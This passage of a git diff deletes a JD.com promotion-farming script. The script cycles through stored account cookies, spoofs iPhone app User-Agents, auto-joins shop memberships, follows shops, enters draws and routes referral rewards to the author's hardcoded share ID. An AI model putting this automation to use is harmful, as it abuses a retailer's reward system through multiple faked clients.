deflate, br", - "Connection": "keep-alive", - "Content-Type": "application/x-www-form-urlencoded", - 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, - "Host": "lzdz1-isv.isvjcloud.com", - "Origin": "https://lzdz1-isv.isvjcloud.com", - "X-Requested-With": "XMLHttpRequest", - "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/4768159?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - "User-Agent": $.UA , - } - } -} - -function getUA(){ - $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` -} -function randomString(e) { - e = e || 32; - let t = "abcdef0123456789", a = t.length, n = ""; - for (i = 0; i < e; i++) - n += t.charAt(Math.floor(Math.random() * a)); - return n -} - -function jsonParse(str) { - if (typeof str == "string") { - try { - return JSON.parse(str); - } catch (e) { - console.log(e); - $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') - return []; - } - } -} -// prettier-ignore -function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} - - diff --git a/backUp/gua_opencard12.js b/backUp/gua_opencard12.js deleted file mode 100644 index b8a2d16..0000000 --- a/backUp/gua_opencard12.js +++ /dev/null @@ -1,736 +0,0 @@ -/* -8.18-8.25 全民818 一“促”即发 [gua_opencard12.js] -新增开卡脚本 -一次性脚本 - -邀请一人20豆 被邀请也有20豆(有可能没有豆 -开2组卡 抽奖可能获得30京豆(有可能有抽到空气💨 -关注10京豆 (有可能是空气💨 -加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku12]为"true" - -第一个账号助力作者 其他依次助力CK1 -第一个CK失效会退出脚本 - -默认脚本不执行 -如需执行脚本请设置环境变量 -guaopencard12="true" -———————————————— -入口:[8.18-8.25 全民818 一“促”即发 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=02d54511202b4d1781088b66b9e07b9c&shareUuid=c0bcf5c57dcc4446aab0f0fe111f6497)] -============Quantumultx=============== -[task_local] -#8.18-8.25 全民818 一“促”即发 -30 9,21 18-25 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard12.js, tag=8.18-8.25 全民818 一“促”即发, enabled=true - -================Loon============== -[Script] -cron "30 9,21 18-25 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard12.js,tag=8.18-8.25 全民818 一“促”即发 - -===============Surge================= -8.18-8.25 全民818 一“促”即发 = type=cron,cronexp="30 9,21 18-25 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard12.js - -============小火箭========= -8.18-8.25 全民818 一“促”即发 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard12.js, cronexpr="30 9,21 18-25 8 *", timeout=3600, enable=true -*/ -const $ = new Env('8.18-8.25 全民818 一“促”即发'); -const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; -const notify = $.isNode() ? require('./sendNotify') : ''; -//IOS等用户直接用NobyDa的jd cookie -let cookiesArr = [], - cookie = ''; -let activityCookie = ''; -if ($.isNode()) { - Object.keys(jdCookieNode).forEach((item) => { - cookiesArr.push(jdCookieNode[item]) - }) - if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; -} else { - cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); -} -let guaopencard_addSku = false -guaopencard_addSku = $.isNode() ? (process.env.guaopencard_addSku12 ? process.env.guaopencard_addSku12 : `${guaopencard_addSku}`) : ($.getdata('guaopencard_addSku12') ? $.getdata('guaopencard_addSku12') : `${guaopencard_addSku}`); -message = "" -!(async () => { - if (!cookiesArr[0]) { - $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { - "open-url": "https://bean.m.jd.com/" - }); - return; - } - if ($.isNode()) { - if (!process.env.guaopencard12 || process.env.guaopencard12 == "false") { - console.log('如需执行脚本请设置环境变量[guaopencard12]为"true"') - return - } - } - $.shareUuid = 'c0bcf5c57dcc4446aab0f0fe111f6497' - $.activityId = '02d54511202b4d1781088b66b9e07b9c' - console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) - for (let i = 0; i < cookiesArr.length; i++) { - cookie = cookiesArr[i]; - if (cookie) { - $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) - $.index = i + 1; - getUA() - console.log(`\n\n******开始【京东账号${$.index}】${$.UserName}*********\n`); - await run(); - if(i == 0 && !$.actorUuid) return - } - } -})() - .catch((e) => $.logErr(e)) - .finally(() => $.done()) - -async function run(){ - try{ - $.Token = '' - $.Pin = '' - await getCk() - await getToken(); - if($.Token == ''){ - console.log('获取[token]失败!') - return - } - await getSimpleActInfoVo() - $.nickname = ''; - await getMyPing() - if ($.Pin ==="" || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { - $.log("获取活动信息失败!") - return - } - await accessLogWithAD() - $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' - await getUserInfo(); - $.actorUuid = ''; - await getActorUuid(); - if(!$.actorUuid){ - console.log('获取不到[actorUuid]退出执行,请重新执行') - return - } - await drawContent(); - await $.wait(1000) - let checkOpenCardData = await checkOpenCard(); - if (checkOpenCardData && !checkOpenCardData.allOpenCard) { - let flag = true - for (let cardList1Element of checkOpenCardData.cardList1) { - if(cardList1Element.status == 0){ - if(flag) console.log('组1') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - flag = true - for (let cardList1Element of checkOpenCardData.cardList2) { - if(cardList1Element.status == 0){ - if(flag) console.log('组2') - if(flag) flag = false - console.log(cardList1Element.name) - await join(cardList1Element.value) - await $.wait(1000) - await drawContent(); - } - } - await $.wait(1000) - await drawContent(); - checkOpenCardData = await checkOpenCard(); - await $.wait(1000) - } - if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) - if(checkOpenCardData && checkOpenCardData.score2 == 1) await startDraw(2) - $.log("关注: " + $.followShop) - if(!$.followShop) await followShop(); - if(!$.followShop) await $.wait(1000) - $.log("加购: " + $.addSku) - if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku12]为"true"'); - if(!$.addSku && guaopencard_addSku == "true") await addSku(); - if(!$.addSku && guaopencard_addSku == "true") await $.wait(1000) - await getActorUuid() - await $.wait(1000) - await getDrawRecordHasCoupon() - await $.wait(1000) - await getShareRecord() - $.log($.shareUuid) - if ($.index === 1) { - if($.actorUuid){ - $.shareUuid = $.actorUuid; - console.log(`后面的号都会助力:${$.shareUuid}`) - }else{ - console.log('账号1获取不到[shareUuid]退出执行,请重新执行') - return - } - } - }catch(e){ - console.log(e) - } -} -function getDrawRecordHasCoupon() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getDrawRecordHasCoupon', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`我的奖品:`) - let num = 0 - let value = 0 - for(let i in res.data){ - let item = res.data[i] - if(item.value == '邀请好友') num++; - if(item.value == '邀请好友') value = item.infoName.replace('京豆',''); - if(item.value != '邀请好友') console.log(`${item.infoType != 10 && item.value +':' || ''}${item.infoName}`) - } - if(num > 0) console.log(`邀请好友(${num}):${num*parseInt(value, 10) || 20}京豆`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`我的奖品 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getShareRecord() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&num=0&sortSuatus=1` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/getShareRecord', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - $.log(`=========== 你邀请了:${res.data.length}个`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function addSku() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=2&taskValue=100022610206` - $.post(taskPostUrl('/dingzhi/dz/openCard/saveTask', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.addBeanNum){ - msg = `${res.data.addBeanNum}京豆` - } - console.log(`加购获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`加购 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function followShop() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}&taskType=23&taskValue=1000376745` - $.post(taskPostUrl('/dingzhi/dz/openCard/followShop', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - let msg = '' - if(res.data.addBeanNum){ - msg = `${res.data.addBeanNum}京豆` - } - if(res.data.beanNumMember && res.data.assistSendStatus){ - msg += ` 额外获得:${res.data.beanNumMember}京豆` - } - console.log(`关注获得:${ msg || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`关注 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function getshopactivityId(venderId) { - return new Promise(resolve => { - $.get(shopactivityId(`${venderId}`), async (err, resp, data) => { - try { - data = JSON.parse(data); - if(data.success == true){ - // console.log($.toStr(data.result)) - // console.log(`入会:${data.result.shopMemberCardInfo.venderCardName || ''}`) - $.shopactivityId = data.result.interestsRuleList && data.result.interestsRuleList[0] && data.result.interestsRuleList[0].interestsInfo && data.result.interestsRuleList[0].interestsInfo.activityId || '' - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function shopactivityId(functionId) { - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=getShopOpenCardInfo&body=%7B%22venderId%22%3A%22${functionId}%22%2C%22channel%22%3A401%7D&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} -function join(venderId) { - return new Promise(async resolve => { - $.shopactivityId = '' - await $.wait(1000) - await getshopactivityId(venderId) - $.get(ruhui(`${venderId}`), async (err, resp, data) => { - try { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.success === true){ - console.log(res.message) - if(res.result && res.result.giftInfo){ - for(let i of res.result.giftInfo.giftList){ - console.log(`入会获得:${i.discountString}${i.prizeName}${i.secondLineDesc}`) - } - } - }else if(typeof res == 'object' && res.message){ - console.log(`${res.message || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function ruhui(functionId) { - let activityId = `` - if($.shopactivityId) activityId = `,"activityId":${$.shopactivityId}` - return { - url: `https://api.m.jd.com/client.action?appid=jd_shop_member&functionId=bindWithVender&body={"venderId":"${functionId}","shopId":"${functionId}","bindByVerifyCodeFlag":1,"registerExtend":{},"writeChildFlag":0${activityId},"channel":401}&client=H5&clientVersion=9.2.0&uuid=88888`, - headers: { - 'Content-Type': 'text/plain; Charset=UTF-8', - 'Origin': 'https://api.m.jd.com', - 'Host': 'api.m.jd.com', - 'accept': '*/*', - 'User-Agent': $.UA, - 'content-type': 'application/x-www-form-urlencoded', - 'Referer': `https://shopmember.m.jd.com/shopcard/?venderId=${functionId}&shopId=${functionId}&venderType=5&channel=401&returnUrl=https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, - 'Cookie': cookie - } - } -} - -function startDraw(type) { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&actorUuid=${$.actorUuid}&pin=${encodeURIComponent($.Pin)}&type=${type}` - $.post(taskPostUrl('/dingzhi/dz/openCard/startDraw', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // $.log($.toStr(data)) - res = $.toObj(data); - if(typeof res == 'object'){ - if(res.result === true && res.data){ - console.log(`抽奖获得:${res.data.drawOk && res.data.name || '空气💨'}`) - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`抽奖 ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function checkOpenCard() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&actorUuid=${$.actorUuid}&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/checkOpenCard', body), async (err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res !== 'object'){ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(res && res.data || ''); - } - }) - }) -} - - -function drawContent() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/dingzhi/taskact/openCardcommon/drawContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getActorUuid() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}&pin=${encodeURIComponent($.Pin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}` - $.post(taskPostUrl('/dingzhi/dz/openCard/activityContent',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - // console.log(data) - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus - if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus - if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`activityContent ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getUserInfo() { - return new Promise(resolve => { - let body = `pin=${encodeURIComponent($.Pin)}` - $.post(taskPostUrl('/wxActionCommon/getUserInfo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getUserInfo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} - -function accessLogWithAD() { - return new Promise(resolve => { - let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/7768835?activityId=${$.activityId}&shareUuid=${$.shareUuid}` - let body = `venderId=${$.shopId || $.venderId}&code=99&pin=${encodeURIComponent($.Pin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null` - $.post(taskPostUrl('/common/accessLogWithAD',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} API请求失败,请检查网路重试`) - } else { - let LZ_TOKEN_KEY = '' - let LZ_TOKEN_VALUE = '' - let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' - let setcookie = '' - if(setcookies){ - if(typeof setcookies != 'object'){ - setcookie = setcookies.split(',') - }else setcookie = setcookies - for (let ck of setcookie) { - let name = ck.split(";")[0].trim() - if(name.split("=")[1]){ - if(name.indexOf('LZ_TOKEN_KEY=')>-1) LZ_TOKEN_KEY = name.replace(/ /g,'')+';' - if(name.indexOf('LZ_TOKEN_VALUE=')>-1) LZ_TOKEN_VALUE = name.replace(/ /g,'')+';' - } - } - } - if(LZ_TOKEN_KEY && LZ_TOKEN_VALUE) activityCookie = `${LZ_TOKEN_KEY} ${LZ_TOKEN_VALUE}` - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getMyPing() { - return new Promise(resolve => { - let body = `userId=${$.shopId || $.venderId}&token=${$.Token}&fromType=APP` - $.post(taskPostUrl('/customer/getMyPing',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${$.toStr(err)}`) - console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) - } else { - let res = $.toObj(data) - if(typeof res == 'object' && res.result == true){ - if(res.data && typeof res.data.secretPin != 'undefined') $.Pin = res.data.secretPin - if(res.data && typeof res.data.nickname != 'undefined') $.nickname = res.data.nickname - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getMyPing ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getSimpleActInfoVo() { - return new Promise(resolve => { - let body = `activityId=${$.activityId}` - $.post(taskPostUrl('/dz/common/getSimpleActInfoVo',body), async(err, resp, data) => { - try { - if (err) { - console.log(`${JSON.stringify(err)}`) - console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) - } else { - res = $.toObj(data); - if(typeof res == 'object' && res.result === true){ - if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId - if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId - }else if(typeof res == 'object' && res.errorMessage){ - console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) - }else{ - console.log(data) - } - } - } catch (e) { - $.logErr(e, resp) - } finally { - resolve(); - } - }) - }) -} -function getToken() { - return new Promise(resolve => { - $.post({ - url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, - body: 